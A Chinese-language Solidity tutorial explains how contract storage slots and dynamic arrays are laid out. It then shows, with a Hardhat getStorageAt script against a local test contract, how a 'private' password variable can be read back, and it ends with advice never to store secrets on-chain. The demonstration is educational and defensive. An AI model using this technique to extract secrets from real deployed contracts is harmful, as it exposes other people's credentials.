private
关键词定义的函数和状态变量只对定义它的合约可见,该合约派生的合约都不能调用和访问该函数及状态变量。那么,我们能访问被private
限定的变量吗?
首先我们详解一下storage
存储。
一、storage
1.普通变量
storage 中的数据被永久存储。其以键值对的形式存储在 slot 插槽中。
storage 中的数据会被写在区块链中(因此它们会更改状态),这就是为什么使用存储非常昂贵的原因。
占用 256 位插槽的 gas 成本为 20,000 gas。
修改 storage 的值将花费 5,000 gas 。
清理存储插槽时(即将非零字节设置为零),将退还一定量的 gas 。
storage 共有 2^256 个插槽,每个插槽 32 个字节数据按声明顺序依次存储,数据将会从每个插槽的右边开始存储,如果相邻变量适合单个 32 字节,然后它们被打包到同一个插槽中否则将会启用新的插槽来存储。
2.数组
- storage 中的数组的存储方式就比较独特了,首先,solidity 中的数组分为两种:
(1)定长数组(长度固定):
定长数组中的每个元素都会有一个独立的插槽来存储。以一个含有三个 uint64 元素的定长数组为例,下图可以清楚的看出其存储方式:
(2)变长数组(长度随元素的数量而改变):
变长数组的存储方式就很奇特,在遇到变长数组时,会先启用一个新的插槽 slotA 用来存储数组的长度,其数据存储在另外的编号为 slotV 的插槽中。slotA 表示变长数组声明的位置,用 length 表示变长数组的长度,用 slotV 表示变长数组数据存储的位置,用 value 表示变长数组某个数据的值,用 index 表示 value 对应的索引下标,则
length = sload(slotA)
slotV = keccak256(slotA) + index
value = sload(slotV)
变长数组在编译期间无法知道数组的长度,没办法提前预留存储空间,所以 Solidity 就用 slotA 位置存储了变长数组的长度。
我们写一个简单的例子来验证上面描述的变长数组的存储方式:
pragma solidity ^0.8.0;
contract haha{
uint[] user;
function addUser(uint a) public returns (bytes memory){
user.push(a);
return abi.encode(user);
}
}
- 我们输入
1
,输出:
0x
0000000000000000000000000000000000000000000000000000000000000020
0000000000000000000000000000000000000000000000000000000000000001
0000000000000000000000000000000000000000000000000000000000000001
然后在Remix的debugger页面,其中第一个插槽为(这里存储的是变长数组的长度):
0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563
这个值等于:
sha3("0x0000000000000000000000000000000000000000000000000000000000000000")
这是一个固定的值,不是随机生成的。
key = 0 这是当前插槽的编号;
value = 1 这说明变长数组 user[] 中只有一条数据也就是数组长度为 1 ;第二个插槽为(这里存储的是变长数组中的数据):
0x510e4e770828ddbf7f7b00ab00a9f6adaf81c0dc9cc85f1f8249c256942d61d9
这个值等于:
sha3("0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563")
插槽编号为:
key=0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563
这个值等于:
sha3("0x0000000000000000000000000000000000000000000000000000000000000000")+0
插槽中存储的数据为:
value=0x0000000000000000000000000000000000000000000000000000000000000001
也就是 16 进制表示的 1 ,也就是我们传入的值。我们输入
2
,输出:
0x
0000000000000000000000000000000000000000000000000000000000000020
0000000000000000000000000000000000000000000000000000000000000002
0000000000000000000000000000000000000000000000000000000000000001
0000000000000000000000000000000000000000000000000000000000000002
然后在Remix的debugger页面,
前面两个插槽的值跟上面是一样的,这里我们可以看到新的插槽为:
0x6c13d8c1c5df666ea9ca2a428504a3776c8ca01021c3a1524ca7d765f600979a
这个值等于:
sha3("0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e564")
插槽编号为: key=0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e564
这个值等于:
sha3("0x0000000000000000000000000000000000000000000000000000000000000000")+1
插槽中存储的数据为:
value=0x0000000000000000000000000000000000000000000000000000000000000002
也就是 16 进制表示的 2 ,也就是我们传入的值。
- 我们输入
5
,输出:
0x
0000000000000000000000000000000000000000000000000000000000000020
0000000000000000000000000000000000000000000000000000000000000003
0000000000000000000000000000000000000000000000000000000000000001
0000000000000000000000000000000000000000000000000000000000000002
0000000000000000000000000000000000000000000000000000000000000005
然后在Remix的debugger页面,
最新的插槽为:
0x63d75db57ae45c3799740c3cd8dcee96a498324843d79ae390adc81d74b52f13
这个值等于:
sha3("0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e565")
插槽编号为: key=0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e565
这个值等于:
sha3("0x0000000000000000000000000000000000000000000000000000000000000000")+2
插槽中存储的数据为:
value=0x0000000000000000000000000000000000000000000000000000000000000005
也就是 16 进制表示的 5 ,也就是我们传入的值。
二、漏洞
有这样的一个合约:
contract Vault {
uint public count = 123;
address public owner = msg.sender;
bool public isTrue = true;
uint16 public u16 = 31;
bytes32 private password;
uint public constant someConst = 123;
bytes32[3] public data;
struct User {
uint id;
bytes32 password;
}
User[] private users;
mapping(uint => User) private idToUser;
constructor(bytes32 _password) {
password = _password;
}
function addUser(bytes32 _password) public {
User memory user = User({id: users.length, password: _password});
users.push(user);
idToUser[user.id] = user;
}
function getArrayLocation(
uint slot,
uint index,
uint elementSize
) public pure returns (uint) {
return uint(keccak256(abi.encodePacked(slot))) + (index * elementSize);
}
function getMapLocation(uint slot, uint key) public pure returns (uint) {
return uint(keccak256(abi.encodePacked(key, slot)));
}
}
由上面的合约代码我们可以看到,Vault 合约将用户的用户名和密码这样的敏感数据记录在了合约中,由前置知识中我们可以了解到,合约中修饰变量的关键字仅限制其调用范围,这也就间接证明了合约中的数据均是公开的,可任意读取的,将敏感数据记录在合约中是不安全的。
下面我们就带大家来读取这个合约中的数据。
首先我们使用账户0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266
来部署合约,部署合约的时候,我们输入了下面的password:
const password = ethers.utils.formatBytes32String("share123");
const test = await Test.deploy(password);
用hardhat写了如下的task:
task("test-transaction", "This task is broken")
.setAction(async () => {
const contractAddress = "0x5FbDB2315678afecb367f032d93F642f64180aa3";
const provider = await ethers.getDefaultProvider("http://127.0.0.1:8545");
const slot0 = await provider.getStorageAt(contractAddress, "0x0");
console.log("slot0: ", slot0);
});
我们可以用getStorageAt
来读取slot0的数据,最后输出的结果是:
- slot0:
0x000000000000000000000000000000000000000000000000000000000000007b
这个16进制的7b
换算成10进制,就是123
,也就是我们合约里的count
变量值,它是uint256类型,总共256位,16进制需要64位数字。
我们再往下读取slot1:
- slot1:
0x000000000000000000001f01f39fd6e51aad88f6f4ce6ab8827279cfffb92266
从后往前看,首先是owner即0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266
,它是address类型的,占了160位,16进制需要40位数字;
其次是isTrue,它是bool类型的,占8位,16进制需要2位数字,这里即01
;
再就是u16,它是uint16类型的,占16位,16进制需要4位数字,即001f
,换算成10进制就是31,前面剩余位数都补零。
按照合约中写的,再往下就是bytes32类型的password
,它是private
类型的,占了32字节,所以下一个slot2就是这个password,输出:
-slot2:0x7368617265313233000000000000000000000000000000000000000000000000
我们把它转成string:
console.log("password: ", ethers.utils.parseBytes32String(slot2));
输出:
password: share123
可以看到,我们成功得到了隐私变量password,它的值和传入的password是一样的,都是share123
。
三、预防手段
不要将任何敏感数据存放在合约中,因为合约中的任何数据都可被读取。常见的敏感数据比如秘钥,游戏通关口令等。